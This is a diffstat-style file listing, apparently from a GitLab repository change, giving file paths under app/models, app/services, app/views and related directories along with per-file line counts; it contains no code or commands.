-rw-r--r--app/models/ci/runner.rb2
-rw-r--r--app/models/ci_platform_metric.rb39
-rw-r--r--app/models/clusters/agent.rb2
-rw-r--r--app/models/clusters/applications/prometheus.rb6
-rw-r--r--app/models/clusters/applications/runner.rb2
-rw-r--r--app/models/clusters/cluster.rb1
-rw-r--r--app/models/clusters/instance.rb2
-rw-r--r--app/models/clusters/providers/aws.rb2
-rw-r--r--app/models/commit.rb6
-rw-r--r--app/models/commit_status.rb15
-rw-r--r--app/models/commit_status_enums.rb32
-rw-r--r--app/models/concerns/admin_changed_password_notifier.rb60
-rw-r--r--app/models/concerns/bulk_member_access_load.rb2
-rw-r--r--app/models/concerns/checksummable.rb6
-rw-r--r--app/models/concerns/ci/artifactable.rb20
-rw-r--r--app/models/concerns/discussion_on_diff.rb2
-rw-r--r--app/models/concerns/enums/ci/pipeline.rb74
-rw-r--r--app/models/concerns/enums/commit_status.rb35
-rw-r--r--app/models/concerns/enums/internal_id.rb23
-rw-r--r--app/models/concerns/enums/prometheus_metric.rb91
-rw-r--r--app/models/concerns/from_except.rb37
-rw-r--r--app/models/concerns/from_intersect.rb37
-rw-r--r--app/models/concerns/from_set_operator.rb19
-rw-r--r--app/models/concerns/from_union.rb16
-rw-r--r--app/models/concerns/has_wiki.rb4
-rw-r--r--app/models/concerns/id_in_ordered.rb20
-rw-r--r--app/models/concerns/issuable.rb39
-rw-r--r--app/models/concerns/loaded_in_group_list.rb3
-rw-r--r--app/models/concerns/mentionable/reference_regexes.rb2
-rw-r--r--app/models/concerns/milestoneable.rb2
-rw-r--r--app/models/concerns/optimized_issuable_label_filter.rb107
-rw-r--r--app/models/concerns/prometheus_adapter.rb11
-rw-r--r--app/models/concerns/relative_positioning.rb424
-rw-r--r--app/models/concerns/resolvable_discussion.rb1
-rw-r--r--app/models/concerns/storage/legacy_namespace.rb16
-rw-r--r--app/models/concerns/timebox.rb8
-rw-r--r--app/models/cycle_analytics/level_base.rb2
-rw-r--r--app/models/data_list.rb10
-rw-r--r--app/models/deployment.rb2
-rw-r--r--app/models/design_management/design.rb14
-rw-r--r--app/models/design_management/design_collection.rb60
-rw-r--r--app/models/dev_ops_report/card.rb28
-rw-r--r--app/models/dev_ops_report/idea_to_production_step.rb21
-rw-r--r--app/models/dev_ops_report/metric.rb21
-rw-r--r--app/models/dev_ops_score/card.rb28
-rw-r--r--app/models/dev_ops_score/idea_to_production_step.rb21
-rw-r--r--app/models/dev_ops_score/metric.rb21
-rw-r--r--app/models/diff_discussion.rb1
-rw-r--r--app/models/discussion.rb1
-rw-r--r--app/models/environment.rb2
-rw-r--r--app/models/group.rb23
-rw-r--r--app/models/group_deploy_key.rb4
-rw-r--r--app/models/internal_id.rb2
-rw-r--r--app/models/internal_id_enums.rb21
-rw-r--r--app/models/issuable_severity.rb18
-rw-r--r--app/models/issue.rb42
-rw-r--r--app/models/issue_link.rb38
-rw-r--r--app/models/iteration.rb8
-rw-r--r--app/models/jira_connect_installation.rb22
-rw-r--r--app/models/jira_connect_subscription.rb12
-rw-r--r--app/models/jira_import_state.rb4
-rw-r--r--app/models/lfs_objects_project.rb1
-rw-r--r--app/models/member.rb13
-rw-r--r--app/models/members/group_member.rb9
-rw-r--r--app/models/members_preloader.rb1
-rw-r--r--app/models/merge_request.rb79
-rw-r--r--app/models/merge_request_assignee.rb2
-rw-r--r--app/models/merge_request_diff.rb23
-rw-r--r--app/models/merge_request_diff_file.rb12
-rw-r--r--app/models/merge_request_reviewer.rb6
-rw-r--r--app/models/namespace.rb8
-rw-r--r--app/models/namespace/root_storage_statistics.rb14
-rw-r--r--app/models/note.rb45
-rw-r--r--app/models/operations/feature_flag.rb101
-rw-r--r--app/models/operations/feature_flag_scope.rb62
-rw-r--r--app/models/operations/feature_flags/scope.rb13
-rw-r--r--app/models/operations/feature_flags/strategy.rb94
-rw-r--r--app/models/operations/feature_flags/strategy_user_list.rb12
-rw-r--r--app/models/operations/feature_flags/user_list.rb36
-rw-r--r--app/models/operations/feature_flags_client.rb25
-rw-r--r--app/models/packages/conan/file_metadatum.rb3
-rw-r--r--app/models/packages/package.rb14
-rw-r--r--app/models/packages/pypi/metadatum.rb1
-rw-r--r--app/models/pages/lookup_path.rb32
-rw-r--r--app/models/pages_deployment.rb11
-rw-r--r--app/models/pages_domain.rb6
-rw-r--r--app/models/performance_monitoring/prometheus_dashboard.rb11
-rw-r--r--app/models/product_analytics_event.rb9
-rw-r--r--app/models/project.rb147
-rw-r--r--app/models/project_feature_usage.rb31
-rw-r--r--app/models/project_pages_metadatum.rb1
-rw-r--r--app/models/project_services/chat_message/merge_message.rb16
-rw-r--r--app/models/project_services/ewm_service.rb29
-rw-r--r--app/models/project_services/jira_service.rb32
-rw-r--r--app/models/project_services/prometheus_service.rb10
-rw-r--r--app/models/project_statistics.rb12
-rw-r--r--app/models/project_team.rb34
-rw-r--r--app/models/project_wiki.rb17
-rw-r--r--app/models/prometheus_metric.rb6
-rw-r--r--app/models/prometheus_metric_enums.rb84
-rw-r--r--app/models/protected_branch.rb4
-rw-r--r--app/models/remote_mirror.rb4
-rw-r--r--app/models/repository.rb2
-rw-r--r--app/models/resource_iteration_event.rb5
-rw-r--r--app/models/resource_state_event.rb2
-rw-r--r--app/models/security_event.rb4
-rw-r--r--app/models/service.rb352
-rw-r--r--app/models/service_list.rb14
-rw-r--r--app/models/snippet.rb17
-rw-r--r--app/models/snippet_input_action.rb2
-rw-r--r--app/models/snippet_repository.rb4
-rw-r--r--app/models/snippet_statistics.rb2
-rw-r--r--app/models/system_note_metadata.rb3
-rw-r--r--app/models/terraform/state.rb24
-rw-r--r--app/models/terraform/state_version.rb18
-rw-r--r--app/models/timelog.rb1
-rw-r--r--app/models/todo.rb6
-rw-r--r--app/models/user.rb43
-rw-r--r--app/models/user_callout.rb27
-rw-r--r--app/models/user_callout_enums.rb28
-rw-r--r--app/models/vulnerability.rb17
-rw-r--r--app/models/wiki.rb26
-rw-r--r--app/policies/ci/build_policy.rb7
-rw-r--r--app/policies/global_policy.rb5
-rw-r--r--app/policies/group_policy.rb2
-rw-r--r--app/policies/issuable_policy.rb1
-rw-r--r--app/policies/namespace_policy.rb1
-rw-r--r--app/policies/operations/feature_flag_policy.rb7
-rw-r--r--app/policies/project_policy.rb18
-rw-r--r--app/policies/user_policy.rb1
-rw-r--r--app/presenters/alert_management/alert_presenter.rb63
-rw-r--r--app/presenters/alert_management/prometheus_alert_presenter.rb33
-rw-r--r--app/presenters/ci/pipeline_artifacts/code_coverage_presenter.rb25
-rw-r--r--app/presenters/clusters/cluster_presenter.rb2
-rw-r--r--app/presenters/commit_status_presenter.rb3
-rw-r--r--app/presenters/dev_ops_score/metric_presenter.rb2
-rw-r--r--app/presenters/packages/conan/package_presenter.rb71
-rw-r--r--app/presenters/packages/nuget/search_results_presenter.rb2
-rw-r--r--app/presenters/project_presenter.rb13
-rw-r--r--app/presenters/projects/prometheus/alert_presenter.rb25
-rw-r--r--app/serializers/base_serializer.rb2
-rw-r--r--app/serializers/build_coverage_entity.rb5
-rw-r--r--app/serializers/build_details_entity.rb6
-rw-r--r--app/serializers/ci/lint/job_entity.rb15
-rw-r--r--app/serializers/ci/lint/result_entity.rb12
-rw-r--r--app/serializers/ci/lint/result_serializer.rb5
-rw-r--r--app/serializers/cluster_entity.rb4
-rw-r--r--app/serializers/cluster_serializer.rb1
-rw-r--r--app/serializers/diff_file_base_entity.rb24
-rw-r--r--app/serializers/diff_file_entity.rb4
-rw-r--r--app/serializers/environment_entity.rb6
-rw-r--r--app/serializers/fork_namespace_entity.rb6
-rw-r--r--app/serializers/group_group_link_entity.rb26
-rw-r--r--app/serializers/group_group_link_serializer.rb5
-rw-r--r--app/serializers/issuable_sidebar_basic_entity.rb4
-rw-r--r--app/serializers/issue_sidebar_basic_entity.rb1
-rw-r--r--app/serializers/job_entity.rb3
-rw-r--r--app/serializers/linked_issue_entity.rb37
-rw-r--r--app/serializers/linked_project_issue_entity.rb29
-rw-r--r--app/serializers/linked_project_issue_serializer.rb5
-rw-r--r--app/serializers/merge_request_basic_entity.rb1
-rw-r--r--app/serializers/merge_request_poll_cached_widget_entity.rb10
-rw-r--r--app/serializers/merge_request_poll_widget_entity.rb2
-rw-r--r--app/serializers/merge_request_reviewer_entity.rb9
-rw-r--r--app/serializers/merge_request_sidebar_extras_entity.rb4
-rw-r--r--app/serializers/merge_request_widget_entity.rb1
-rw-r--r--app/serializers/note_entity.rb4
-rw-r--r--app/serializers/pipeline_entity.rb4
-rw-r--r--app/serializers/project_note_entity.rb8
-rw-r--r--app/serializers/test_suite_entity.rb2
-rw-r--r--app/services/admin/propagate_integration_service.rb88
-rw-r--r--app/services/admin/propagate_service_template.rb19
-rw-r--r--app/services/alert_management/create_alert_issue_service.rb3
-rw-r--r--app/services/alert_management/process_prometheus_alert_service.rb89
-rw-r--r--app/services/audit_event_service.rb38
-rw-r--r--app/services/auto_merge/base_service.rb15
-rw-r--r--app/services/auto_merge/merge_when_pipeline_succeeds_service.rb2
-rw-r--r--app/services/boards/destroy_service.rb8
-rw-r--r--app/services/boards/issues/move_service.rb4
-rw-r--r--app/services/branches/delete_service.rb2
-rw-r--r--app/services/ci/archive_trace_service.rb1
-rw-r--r--app/services/ci/cancel_user_pipelines_service.rb4
-rw-r--r--app/services/ci/create_cross_project_pipeline_service.rb110
-rw-r--r--app/services/ci/create_downstream_pipeline_service.rb128
-rw-r--r--app/services/ci/create_job_artifacts_service.rb4
-rw-r--r--app/services/ci/create_web_ide_terminal_service.rb2
-rw-r--r--app/services/ci/destroy_expired_job_artifacts_service.rb10
-rw-r--r--app/services/ci/destroy_pipeline_service.rb4
-rw-r--r--app/services/ci/generate_coverage_reports_service.rb2
-rw-r--r--app/services/ci/parse_dotenv_artifact_service.rb2
-rw-r--r--app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb9
-rw-r--r--app/services/ci/pipelines/create_artifact_service.rb33
-rw-r--r--app/services/ci/process_pipeline_service.rb10
-rw-r--r--app/services/ci/retry_build_service.rb25
-rw-r--r--app/services/ci/retry_pipeline_service.rb2
-rw-r--r--app/services/ci/update_build_state_service.rb128
-rw-r--r--app/services/ci/update_ci_ref_status_service.rb66
-rw-r--r--app/services/ci/web_ide_config_service.rb59
-rw-r--r--app/services/clusters/aws/provision_service.rb1
-rw-r--r--app/services/concerns/admin/propagate_service.rb73
-rw-r--r--app/services/concerns/incident_management/settings.rb4
-rw-r--r--app/services/concerns/incident_management/usage_data.rb18
-rw-r--r--app/services/concerns/measurable.rb2
-rw-r--r--app/services/concerns/merge_requests/removes_refs.rb9
-rw-r--r--app/services/design_management/move_designs_service.rb1
-rw-r--r--app/services/event_create_service.rb28
-rw-r--r--app/services/git/branch_hooks_service.rb12
-rw-r--r--app/services/git/wiki_push_service.rb21
-rw-r--r--app/services/git/wiki_push_service/change.rb6
-rw-r--r--app/services/ide/base_config_service.rb63
-rw-r--r--app/services/ide/schemas_config_service.rb49
-rw-r--r--app/services/ide/terminal_config_service.rb13
-rw-r--r--app/services/incident_management/incidents/create_service.rb15
-rw-r--r--app/services/issuable/common_system_notes_service.rb14
-rw-r--r--app/services/issuable_base_service.rb52
-rw-r--r--app/services/issuable_links/create_service.rb119
-rw-r--r--app/services/issuable_links/destroy_service.rb34
-rw-r--r--app/services/issuable_links/list_service.rb27
-rw-r--r--app/services/issue_links/create_service.rb46
-rw-r--r--app/services/issue_links/destroy_service.rb28
-rw-r--r--app/services/issue_links/list_service.rb18
-rw-r--r--app/services/issue_rebalancing_service.rb71
-rw-r--r--app/services/issues/base_service.rb31
-rw-r--r--app/services/issues/close_service.rb1
-rw-r--r--app/services/issues/create_service.rb16
-rw-r--r--app/services/issues/duplicate_service.rb9
-rw-r--r--app/services/issues/move_service.rb14
-rw-r--r--app/services/issues/related_branches_service.rb2
-rw-r--r--app/services/issues/reopen_service.rb1
-rw-r--r--app/services/issues/update_service.rb4
-rw-r--r--app/services/issues/zoom_link_service.rb1
-rw-r--r--app/services/jira_connect/sync_service.rb43
-rw-r--r--app/services/jira_connect_subscriptions/base_service.rb11
-rw-r--r--app/services/jira_connect_subscriptions/create_service.rb33
-rw-r--r--app/services/lfs/push_service.rb80
-rw-r--r--app/services/merge_requests/base_service.rb32
-rw-r--r--app/services/merge_requests/cleanup_refs_service.rb75
-rw-r--r--app/services/merge_requests/close_service.rb3
-rw-r--r--app/services/merge_requests/create_pipeline_service.rb12
-rw-r--r--app/services/merge_requests/merge_service.rb5
-rw-r--r--app/services/merge_requests/post_merge_service.rb3
-rw-r--r--app/services/merge_requests/refresh_service.rb130
-rw-r--r--app/services/merge_requests/update_service.rb9
-rw-r--r--app/services/metrics/dashboard/custom_metric_embed_service.rb6
-rw-r--r--app/services/notes/create_service.rb9
-rw-r--r--app/services/notification_service.rb6
-rw-r--r--app/services/packages/composer/create_package_service.rb7
-rw-r--r--app/services/packages/conan/create_package_service.rb5
-rw-r--r--app/services/packages/create_package_service.rb37
-rw-r--r--app/services/packages/maven/create_package_service.rb7
-rw-r--r--app/services/packages/npm/create_package_service.rb17
-rw-r--r--app/services/packages/nuget/create_dependency_service.rb2
-rw-r--r--app/services/packages/nuget/create_package_service.rb4
-rw-r--r--app/services/packages/pypi/create_package_service.rb17
-rw-r--r--app/services/packages/update_tags_service.rb2
-rw-r--r--app/services/pages/delete_service.rb3
-rw-r--r--app/services/product_analytics/build_activity_graph_service.rb13
-rw-r--r--app/services/product_analytics/build_graph_service.rb10
-rw-r--r--app/services/projects/after_rename_service.rb19
-rw-r--r--app/services/projects/alerting/notify_service.rb31
-rw-r--r--app/services/projects/container_repository/gitlab/delete_tags_service.rb35
-rw-r--r--app/services/projects/container_repository/third_party/delete_tags_service.rb2
-rw-r--r--app/services/projects/create_service.rb9
-rw-r--r--app/services/projects/destroy_service.rb36
-rw-r--r--app/services/projects/download_service.rb2
-rw-r--r--app/services/projects/fork_service.rb4
-rw-r--r--app/services/projects/lfs_pointers/lfs_download_service.rb39
-rw-r--r--app/services/projects/open_issues_count_service.rb6
-rw-r--r--app/services/projects/propagate_service_template.rb83
-rw-r--r--app/services/projects/transfer_service.rb12
-rw-r--r--app/services/projects/unlink_fork_service.rb31
-rw-r--r--app/services/projects/update_pages_configuration_service.rb3
-rw-r--r--app/services/projects/update_pages_service.rb2
-rw-r--r--app/services/projects/update_remote_mirror_service.rb20
-rw-r--r--app/services/projects/update_service.rb6
-rw-r--r--app/services/prometheus/proxy_service.rb4
-rw-r--r--app/services/quick_actions/interpret_service.rb1
-rw-r--r--app/services/resource_events/change_state_service.rb18
-rw-r--r--app/services/search/global_service.rb8
-rw-r--r--app/services/search/group_service.rb7
-rw-r--r--app/services/search/project_service.rb5
-rw-r--r--app/services/snippets/base_service.rb2
-rw-r--r--app/services/snippets/create_service.rb2
-rw-r--r--app/services/snippets/destroy_service.rb2
-rw-r--r--app/services/snippets/repository_validation_service.rb4
-rw-r--r--app/services/snippets/update_service.rb2
-rw-r--r--app/services/static_site_editor/config_service.rb49
-rw-r--r--app/services/submit_usage_ping_service.rb4
-rw-r--r--app/services/system_note_service.rb12
-rw-r--r--app/services/system_notes/alert_management_service.rb15
-rw-r--r--app/services/system_notes/issuables_service.rb62
-rw-r--r--app/services/todo_service.rb29
-rw-r--r--app/services/two_factor/base_service.rb14
-rw-r--r--app/services/two_factor/destroy_service.rb24
-rw-r--r--app/services/users/build_service.rb1
-rw-r--r--app/services/users/signup_service.rb2
-rw-r--r--app/services/webauthn/authenticate_service.rb61
-rw-r--r--app/services/webauthn/register_service.rb34
-rw-r--r--app/services/wiki_pages/destroy_service.rb9
-rw-r--r--app/services/wiki_pages/update_service.rb8
-rw-r--r--app/uploaders/object_storage.rb46
-rw-r--r--app/uploaders/terraform/versioned_state_uploader.rb13
-rw-r--r--app/validators/feature_flag_strategies_validator.rb95
-rw-r--r--app/validators/feature_flag_user_xids_validator.rb31
-rw-r--r--app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json95
-rw-r--r--app/views/admin/abuse_reports/_abuse_report.html.haml25
-rw-r--r--app/views/admin/appearances/_form.html.haml8
-rw-r--r--app/views/admin/appearances/_system_header_footer_form.html.haml2
-rw-r--r--app/views/admin/appearances/preview_sign_in.html.haml2
-rw-r--r--app/views/admin/application_settings/_ci_cd.html.haml6
-rw-r--r--app/views/admin/application_settings/_diff_limits.html.haml2
-rw-r--r--app/views/admin/application_settings/_external_authorization_service_form.html.haml2
-rw-r--r--app/views/admin/application_settings/_gitpod.html.haml30
-rw-r--r--app/views/admin/application_settings/_grafana.html.haml2
-rw-r--r--app/views/admin/application_settings/_package_registry.html.haml50
-rw-r--r--app/views/admin/application_settings/_pages.html.haml4
-rw-r--r--app/views/admin/application_settings/_performance.html.haml2
-rw-r--r--app/views/admin/application_settings/_prometheus.html.haml4
-rw-r--r--app/views/admin/application_settings/_realtime.html.haml3
-rw-r--r--app/views/admin/application_settings/_registry.html.haml10
-rw-r--r--app/views/admin/application_settings/_repository_mirrors_form.html.haml2
-rw-r--r--app/views/admin/application_settings/_repository_storage.html.haml2
-rw-r--r--app/views/admin/application_settings/_signin.html.haml2
-rw-r--r--app/views/admin/application_settings/_snowplow.html.haml3
-rw-r--r--app/views/admin/application_settings/_usage.html.haml13
-rw-r--r--app/views/admin/application_settings/ci/_header.html.haml2
-rw-r--r--app/views/admin/application_settings/general.html.haml1
-rw-r--r--app/views/admin/application_settings/integrations.html.haml2
-rw-r--r--app/views/admin/application_settings/metrics_and_profiling.html.haml2
-rw-r--r--app/views/admin/applications/_form.html.haml5
-rw-r--r--app/views/admin/cohorts/_cohorts_table.html.haml35
-rw-r--r--app/views/admin/cohorts/index.html.haml7
-rw-r--r--app/views/admin/dashboard/index.html.haml50
-rw-r--r--app/views/admin/dev_ops_report/_callout.html.haml13
-rw-r--r--app/views/admin/dev_ops_report/_card.html.haml (renamed from app/views/instance_statistics/dev_ops_score/_card.html.haml)0
-rw-r--r--app/views/admin/dev_ops_report/_no_data.html.haml7
-rw-r--r--app/views/admin/dev_ops_report/show.html.haml33
-rw-r--r--app/views/admin/groups/_form.html.haml6
-rw-r--r--app/views/admin/groups/_group.html.haml2
-rw-r--r--app/views/admin/groups/show.html.haml2
-rw-r--r--app/views/admin/health_check/show.html.haml2
-rw-r--r--app/views/admin/instance_statistics/index.html.haml4
-rw-r--r--app/views/admin/projects/_projects.html.haml5
-rw-r--r--app/views/admin/projects/show.html.haml4
-rw-r--r--app/views/admin/runners/_runner.html.haml2
-rw-r--r--app/views/admin/runners/index.html.haml2
-rw-r--r--app/views/admin/runners/update.js.haml2
-rw-r--r--app/views/admin/services/_form.html.haml5
-rw-r--r--app/views/admin/services/index.html.haml19
-rw-r--r--app/views/admin/sessions/_two_factor_otp.html.haml2
-rw-r--r--app/views/admin/sessions/two_factor.html.haml4
-rw-r--r--app/views/admin/users/_form.html.haml6
-rw-r--r--app/views/admin/users/_modals.html.haml2
-rw-r--r--app/views/admin/users/_user.html.haml12
-rw-r--r--app/views/admin/users/index.html.haml2
-rw-r--r--app/views/admin/users/new.html.haml2
-rw-r--r--app/views/admin/users/projects.html.haml8
-rw-r--r--app/views/admin/users/show.html.haml26
-rw-r--r--app/views/authentication/_authenticate.html.haml19
-rw-r--r--app/views/authentication/_register.html.haml36
-rw-r--r--app/views/ci/status/_dropdown_graph_badge.html.haml4
-rw-r--r--app/views/ci/variables/_header.html.haml2
-rw-r--r--app/views/ci/variables/_variable_row.html.haml2
-rw-r--r--app/views/clusters/clusters/_banner.html.haml4
-rw-r--r--app/views/clusters/clusters/aws/_new.html.haml2
-rw-r--r--app/views/clusters/clusters/new.html.haml6
-rw-r--r--app/views/clusters/clusters/user/_header.html.haml5
-rw-r--r--app/views/dashboard/projects/index.html.haml5
-rw-r--r--app/views/dashboard/todos/index.html.haml7
-rw-r--r--app/views/devise/mailer/password_change_by_admin.html.haml6
-rw-r--r--app/views/devise/mailer/password_change_by_admin.text.erb5
-rw-r--r--app/views/devise/registrations/new.html.haml2
-rw-r--r--app/views/devise/sessions/two_factor.html.haml7
-rw-r--r--app/views/devise/shared/_signup_box.html.haml3
-rw-r--r--app/views/doorkeeper/applications/_delete_form.html.haml2
-rw-r--r--app/views/doorkeeper/applications/_form.html.haml3
-rw-r--r--app/views/events/event/_common.html.haml2
-rw-r--r--app/views/events/event/_note.html.haml2
-rw-r--r--app/views/groups/_group_admin_settings.html.haml4
-rw-r--r--app/views/groups/_import_group_pane.html.haml2
-rw-r--r--app/views/groups/group_members/index.html.haml36
-rw-r--r--app/views/groups/packages/_legacy_package_list.haml59
-rw-r--r--app/views/groups/packages/index.html.haml3
-rw-r--r--app/views/groups/runners/_index.html.haml2
-rw-r--r--app/views/groups/runners/_runner.html.haml4
-rw-r--r--app/views/groups/settings/ci_cd/_form.html.haml2
-rw-r--r--app/views/groups/settings/ci_cd/show.html.haml6
-rw-r--r--app/views/groups/settings/integrations/index.html.haml2
-rw-r--r--app/views/groups/show.html.haml69
-rw-r--r--app/views/help/_shortcuts.html.haml20
-rw-r--r--app/views/import/_project_status.html.haml2
-rw-r--r--app/views/import/fogbugz/new.html.haml5
-rw-r--r--app/views/import/fogbugz/new_user_map.html.haml5
-rw-r--r--app/views/import/fogbugz/status.html.haml5
-rw-r--r--app/views/import/google_code/status.html.haml8
-rw-r--r--app/views/import/manifest/_form.html.haml2
-rw-r--r--app/views/instance_statistics/cohorts/_cohorts_table.html.haml35
-rw-r--r--app/views/instance_statistics/cohorts/index.html.haml15
-rw-r--r--app/views/instance_statistics/dev_ops_score/_callout.html.haml13
-rw-r--r--app/views/instance_statistics/dev_ops_score/_disabled.html.haml14
-rw-r--r--app/views/instance_statistics/dev_ops_score/_no_data.html.haml7
-rw-r--r--app/views/instance_statistics/dev_ops_score/index.html.haml33
-rw-r--r--app/views/invites/show.html.haml2
-rw-r--r--app/views/jira_connect/subscriptions/index.html.haml28
-rw-r--r--app/views/layouts/_flash.html.haml2
-rw-r--r--app/views/layouts/_head.html.haml14
-rw-r--r--app/views/layouts/_loading_hints.html.haml10
-rw-r--r--app/views/layouts/_page.html.haml2
-rw-r--r--app/views/layouts/_startup_css.haml5
-rw-r--r--app/views/layouts/_startup_css_activation.haml5
-rw-r--r--app/views/layouts/_startup_js.html.haml5
-rw-r--r--app/views/layouts/experiment_mailer.html.haml48
-rw-r--r--app/views/layouts/header/_current_user_dropdown.html.haml8
-rw-r--r--app/views/layouts/header/_default.html.haml6
-rw-r--r--app/views/layouts/header/_help_dropdown.html.haml2
-rw-r--r--app/views/layouts/instance_statistics.html.haml6
-rw-r--r--app/views/layouts/jira_connect.html.haml13
-rw-r--r--app/views/layouts/nav/_analytics_link.html.haml4
-rw-r--r--app/views/layouts/nav/_dashboard.html.haml4
-rw-r--r--app/views/layouts/nav/sidebar/_admin.html.haml27
-rw-r--r--app/views/layouts/nav/sidebar/_analytics_link.html.haml4
-rw-r--r--app/views/layouts/nav/sidebar/_group.html.haml11
-rw-r--r--app/views/layouts/nav/sidebar/_instance_statistics.html.haml11
-rw-r--r--app/views/layouts/nav/sidebar/_instance_statistics_links.html.haml25
-rw-r--r--app/views/layouts/nav/sidebar/_project.html.haml6
-rw-r--r--app/views/notify/_failed_builds.html.haml7
-rw-r--r--app/views/notify/autodevops_disabled_email.text.erb3
-rw-r--r--app/views/notify/disabled_two_factor_email.html.haml6
-rw-r--r--app/views/notify/disabled_two_factor_email.text.erb5
-rw-r--r--app/views/notify/member_invited_email.html.haml2
-rw-r--r--app/views/notify/member_invited_email.text.erb2
-rw-r--r--app/views/notify/member_invited_email_experiment.html.haml12
-rw-r--r--app/views/notify/member_invited_email_experiment.text.erb10
-rw-r--r--app/views/notify/pipeline_failed_email.text.erb4
-rw-r--r--app/views/profiles/accounts/_providers.html.haml6
-rw-r--r--app/views/profiles/accounts/show.html.haml4
-rw-r--r--app/views/profiles/gpg_keys/_key.html.haml2
-rw-r--r--app/views/profiles/notifications/_group_settings.html.haml2
-rw-r--r--app/views/profiles/notifications/_project_settings.html.haml2
-rw-r--r--app/views/profiles/notifications/show.html.haml3
-rw-r--r--app/views/profiles/preferences/_gitpod.html.haml11
-rw-r--r--app/views/profiles/preferences/_integrations.html.haml18
-rw-r--r--app/views/profiles/preferences/_sourcegraph.html.haml36
-rw-r--r--app/views/profiles/preferences/show.html.haml5
-rw-r--r--app/views/profiles/preferences/update.js.erb4
-rw-r--r--app/views/profiles/show.html.haml10
-rw-r--r--app/views/profiles/two_factor_auths/create.html.haml2
-rw-r--r--app/views/profiles/two_factor_auths/show.html.haml45
-rw-r--r--app/views/projects/_deletion_failed.html.haml8
-rw-r--r--app/views/projects/_import_project_pane.html.haml3
-rw-r--r--app/views/projects/_issuable_by_email.html.haml6
-rw-r--r--app/views/projects/_merge_request_merge_checks_settings.html.haml4
-rw-r--r--app/views/projects/_merge_request_merge_suggestions_settings.html.haml2
-rw-r--r--app/views/projects/_new_project_fields.html.haml2
-rw-r--r--app/views/projects/_service_desk_settings.html.haml2
-rw-r--r--app/views/projects/artifacts/_tree_directory.html.haml2
-rw-r--r--app/views/projects/blob/_content.html.haml4
-rw-r--r--app/views/projects/blob/_editor.html.haml1
-rw-r--r--app/views/projects/blob/_pipeline_tour_success.html.haml1
-rw-r--r--app/views/projects/blob/_template_selectors.html.haml2
-rw-r--r--app/views/projects/blob/edit.html.haml14
-rw-r--r--app/views/projects/blob/new.html.haml1
-rw-r--r--app/views/projects/blob/viewers/_gitlab_ci_yml_loading.html.haml2
-rw-r--r--app/views/projects/blob/viewers/_loading.html.haml4
-rw-r--r--app/views/projects/blob/viewers/_loading_auxiliary.html.haml2
-rw-r--r--app/views/projects/blob/viewers/_metrics_dashboard_yml.html.haml4
-rw-r--r--app/views/projects/blob/viewers/_route_map_loading.html.haml2
-rw-r--r--app/views/projects/blob/viewers/_sketch.html.haml4
-rw-r--r--app/views/projects/blob/viewers/_stl.html.haml2
-rw-r--r--app/views/projects/branches/_branch.html.haml14
-rw-r--r--app/views/projects/branches/new.html.haml1
-rw-r--r--app/views/projects/buttons/_download.html.haml2
-rw-r--r--app/views/projects/ci/builds/_build.html.haml2
-rw-r--r--app/views/projects/ci/lints/_create.html.haml81
-rw-r--r--app/views/projects/ci/lints/_lint_warnings.html.haml12
-rw-r--r--app/views/projects/ci/lints/show.html.haml58
-rw-r--r--app/views/projects/cleanup/_show.html.haml3
-rw-r--r--app/views/projects/commit/_limit_exceeded_message.html.haml2
-rw-r--r--app/views/projects/commits/_commit.html.haml3
-rw-r--r--app/views/projects/cycle_analytics/_overview.html.haml15
-rw-r--r--app/views/projects/cycle_analytics/show.html.haml12
-rw-r--r--app/views/projects/default_branch/_show.html.haml2
-rw-r--r--app/views/projects/diffs/_file.html.haml4
-rw-r--r--app/views/projects/edit.html.haml2
-rw-r--r--app/views/projects/empty.html.haml121
-rw-r--r--app/views/projects/environments/folder.html.haml2
-rw-r--r--app/views/projects/environments/index.html.haml3
-rw-r--r--app/views/projects/environments/show.html.haml2
-rw-r--r--app/views/projects/feature_flags/_errors.html.haml4
-rw-r--r--app/views/projects/feature_flags/edit.html.haml16
-rw-r--r--app/views/projects/feature_flags/index.html.haml15
-rw-r--r--app/views/projects/feature_flags/new.html.haml14
-rw-r--r--app/views/projects/feature_flags_user_lists/edit.html.haml7
-rw-r--r--app/views/projects/feature_flags_user_lists/new.html.haml8
-rw-r--r--app/views/projects/feature_flags_user_lists/show.html.haml7
-rw-r--r--app/views/projects/find_file/show.html.haml2
-rw-r--r--app/views/projects/forks/error.html.haml30
-rw-r--r--app/views/projects/graphs/show.html.haml2
-rw-r--r--app/views/projects/imports/show.html.haml2
-rw-r--r--app/views/projects/issues/_design_management.html.haml23
-rw-r--r--app/views/projects/issues/_issues.html.haml4
-rw-r--r--app/views/projects/issues/_related_issues.html.haml6
-rw-r--r--app/views/projects/issues/_related_issues_block.html.haml5
-rw-r--r--app/views/projects/issues/_tabs.html.haml14
-rw-r--r--app/views/projects/issues/service_desk.html.haml2
-rw-r--r--app/views/projects/issues/show.html.haml11
-rw-r--r--app/views/projects/jobs/index.html.haml4
-rw-r--r--app/views/projects/merge_requests/_how_to_merge.html.haml2
-rw-r--r--app/views/projects/merge_requests/_mr_title.html.haml6
-rw-r--r--app/views/projects/merge_requests/_widget.html.haml2
-rw-r--r--app/views/projects/merge_requests/conflicts/show.html.haml2
-rw-r--r--app/views/projects/merge_requests/creations/_new_compare.html.haml4
-rw-r--r--app/views/projects/merge_requests/diffs/_different_base.html.haml2
-rw-r--r--app/views/projects/merge_requests/diffs/_not_all_comments_displayed.html.haml2
-rw-r--r--app/views/projects/merge_requests/show.html.haml11
-rw-r--r--app/views/projects/mirrors/_mirror_repos.html.haml4
-rw-r--r--app/views/projects/mirrors/_mirror_repos_push.html.haml2
-rw-r--r--app/views/projects/notes/_actions.html.haml13
-rw-r--r--app/views/projects/packages/packages/_legacy_package_list.html.haml60
-rw-r--r--app/views/projects/packages/packages/index.html.haml3
-rw-r--r--app/views/projects/packages/packages/show.html.haml12
-rw-r--r--app/views/projects/pages/_access.html.haml6
-rw-r--r--app/views/projects/pipelines/_pipeline_warnings.html.haml6
-rw-r--r--app/views/projects/pipelines/_with_tabs.html.haml2
-rw-r--r--app/views/projects/pipelines/new.html.haml3
-rw-r--r--app/views/projects/pipelines/show.html.haml1
-rw-r--r--app/views/projects/product_analytics/graphs.html.haml4
-rw-r--r--app/views/projects/serverless/functions/index.html.haml11
-rw-r--r--app/views/projects/serverless/functions/show.html.haml9
-rw-r--r--app/views/projects/services/_form.html.haml8
-rw-r--r--app/views/projects/services/prometheus/_custom_metrics.html.haml2
